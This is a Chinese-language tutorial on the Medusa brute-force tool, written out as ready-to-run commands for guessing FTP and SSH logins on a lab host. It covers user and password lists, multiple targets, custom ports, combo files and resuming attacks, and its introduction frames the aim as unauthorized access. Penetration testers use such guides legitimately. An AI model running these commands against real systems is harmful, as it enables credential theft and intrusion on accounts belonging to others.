文章前言
今天我们将讨论——Medusa在破解各种协议的登录凭证以远程进行未经授权的系统访问方面的使用,在本文中,我们将讨论Medusa在各种场景下进行暴力攻击方法。
工具简介
Medusa是一个快速的、并行的、模块化的登录暴力破解工具,目标是支持尽可能多的允许远程认证的服务,作者认为以下项目是该应用程序的一些关键特性:
- 基于线程的并行测试:可以针对多个主机、用户或密码同时执行暴力测试。
- 灵活的用户输入:可以用多种方式指定目标信息(主机/用户/密码),例如,每个项目可以是单个条目,也可以是包含多个条目的文件,此外组合文件格式允许用户细化他们的目标列表
- 模块化设计:每个服务模块都是独立的.mod文件,这意味着不需要对核心应用程序进行任何修改来扩展暴力破解支持的服务列表
- 支持多种协议:目前支持许多服务(例如smb、http、pop3、ms-sql、sshv2等)
在没有任何选项的终端中键入"medusa",它将转储它接受的所有可用选项以及它们各自的描述
如上所述,Medusa是一个蛮力工具,你可以使用-d选项来识别它包含的所有可用模块
暴力破解
For Specific Username
Medusa是一个非常有影响力的工具,很容易用来对任何协议进行暴力攻击,假设您想要破解指定用户名的ftp(或任何其他)密码,此时您可以使用以下命令,其中-u选项启用用户名参数,而-p选项启用密码列表的字典:
代码语言:javascript复制medusa -h 192.168.1.108 -u raj -P pass.txt -M ftp
For Specific Password
假设您想要破解指定密码的ftp(或任何其他)用户,此时您可以使用以下命令,其中-U选项启用用户名列表的字典,而-p选项指定密码:
代码语言:javascript复制medusa -h 192.168.1.108 -U user.txt -p 123 -M ftp
For Login Credential
假设您想要破解ftp(或任何其他)的用户名和密码,希望通过使用字典猜测有效的组合来进行用户名和密码暴力攻击,此时您可以执行以下命令,其中-u选项为用户名列表启用字典,而-p选项为密码列表启用字典:
代码语言:javascript复制medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp
Attack Multiple Host
如果您想对网络中的多台主机上使用通过字典进行枚举用户,那么您可以使用-m选项来启用主机列表参数,并使用相同的字典进行暴力攻击,并在主机列表中提到的每台主机ip上尝试相同次数的登录尝试,在这里您可以看到我在一个文本文件中保存了两个主机ip,然后使用下面的命令通过使用相同的字典对多个主机进行暴力攻击
代码语言:javascript复制medusa -H hosts.txt -U user.txt -P pass.txt -M ftp
如果您的主机列表中有多个主机ip,并且您希望只对少数几个主机进行攻击,可以使用-T来指定线程:
代码语言:javascript复制medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -T 1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -T 2
Attacking Specific Port
出于安全考虑,网络管理员会更改另一个端口上服务的端口号,Medusa默认的服务端口上进行暴力攻击,正如你在上面的所有攻击中所观察到的,它在ftp登录的端口21上自动进行攻击,我们也可以指定其他端口:
代码语言:javascript复制medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ssh
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ssh -n 2222
NULL/Same Login Attempt
将可选参数-e与ns一起使用可以启用三个参数null/same,对密码字段进行暴力攻击:
代码语言:javascript复制medusa -h 192.168.1.108 -u raj -P pass.txt -M ftp -e ns
正如您可以观察到的,每个用户名都试图匹配以下组合以及密码列表:
Save logs to Disk
为了记录维护、更好的可读性和将来的引用,我们将Medusa蛮力攻击的输出保存到一个文件中,为此我们将使用美杜莎的参数-o将输出保存在文本文件中
代码语言:javascript复制medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -O log.txt
Stop on Success
假设在使用主机列表时,您想在找到第一个有效的用户名/密码后停止对主机的暴力攻击,那么您可以单独使用-f选项
代码语言:javascript复制medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -f
你也可以使用-f选项在您的命令中的任何主机上找到第一个有效的用户名/密码后停止检查:
代码语言:javascript复制medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -F
Suppress Startup Banner
如果你想在暴力攻击时隐藏Medusa的banner,那么使用-b选项来隐藏启动:
代码语言:javascript复制medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -b
Verbose Mode
详细模式有六个级别来检查攻击细节,还包含一个错误调试选项,该选项包含十个调试模式级别,可以对详细参数使用-v选项,对错误调试参数使用-w选项
代码语言:javascript复制medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 2
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 6
Error Debugging Mode
如上所述,每一级都有0-10级来检查暴力攻击,这里你会观察到0-6级的结果,7-10级的结果大致相同差别不大,但从0-6级变化:
代码语言:javascript复制medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 01
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 06
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 07
调试模式显示等待时间、套接字、发送数据大小和接收数据大小、模块细节和路径
Using Combo Entries
使用-c选项启用组合文件参数,组合文件每行应该有一条记录,并且以host_ip:username: password格式用冒号分隔值,如果三个字段中的任何一个留空,则相应的信息应该作为全局值或文件中的列表来传递,组合文件中可能有以下组合:
代码语言:javascript复制host:username:password
host:username:
host::-
:username: password
:username:
::password
host::password
如下图所示,我们有userpass.txt文件作为组合文件格式,我们可以使用它和-c选项来发起暴力攻击
代码语言:javascript复制medusa -M ftp -C userpass.txt
Resuming Brute Force Attack
有时在进行暴力攻击时,攻击会意外暂停/停止或取消,为了节省时间,您可以使用-z选项启用resume参数,并从字典的最后一次丢弃尝试开始暴力攻击,而不是从第一次尝试开始
代码语言:javascript复制medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp
现在您可以观察下面给定图像的输出结果,在按下ctrl c后,它停止攻击然后在您的命令中添加突出显示的文本以继续攻击
代码语言:javascript复制medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -Z h1u2u3.
重复与上面相同的步骤,现在比较执行所有三个命令后的结果,你会注意到它继续了上一次放弃尝试后的测试: